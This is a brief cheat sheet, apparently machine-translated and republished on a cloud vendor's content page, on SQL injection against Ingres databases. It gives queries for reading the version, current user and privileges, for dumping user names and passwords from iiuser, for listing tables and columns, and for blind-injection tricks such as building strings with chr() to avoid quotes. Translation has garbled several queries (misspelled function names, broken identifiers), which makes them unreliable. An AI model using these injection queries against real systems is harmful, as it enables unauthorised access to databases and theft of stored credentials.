Non-mainstream Ingres Database Injection

Source: Internet
Author: User

Ingres is an open source database that can be used on all mainstream operating systems. In databases integrated with Web applications, Ingres is one of the less popular databases.

Here I want to introduce the SQL injection METHOD OF THE Ingres Database.

Query version: select dbsminfo ('_ version ');

Query the current user: select dbsminfo ('System _ user ');

Select dbsminfo ('session _ user ')

List users: select name, password from iiuser;

List User Permissions:

Select dbsminfo ('select _ syscat ');

Select dbsminfo ('db _ privileges ');

Select dbsminfo ('db _ admin ');

Select dbsminfo ('security _ priv ');

Select dbsminfo ('create _ table ');

Select dbsminfo ('create _ procedure ');

Extract the current user database:

Select dbmsinfo ('database ');

List tables:

Select relid, relowner, relloc from iirelation where relowner! = '$ Ingres ';

Fields listed:

Select column_name, column_datatype, table_name, table_owner from iicolumns;

Ingres Database SQL blind Injection

String length: length ()

Extract substrings from a given string: select substr (string, offset, length );

String ('abc') without single quotes: select chr (65) | chr (66) | chr (67)

From hi.baidu.com/evilrapper

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.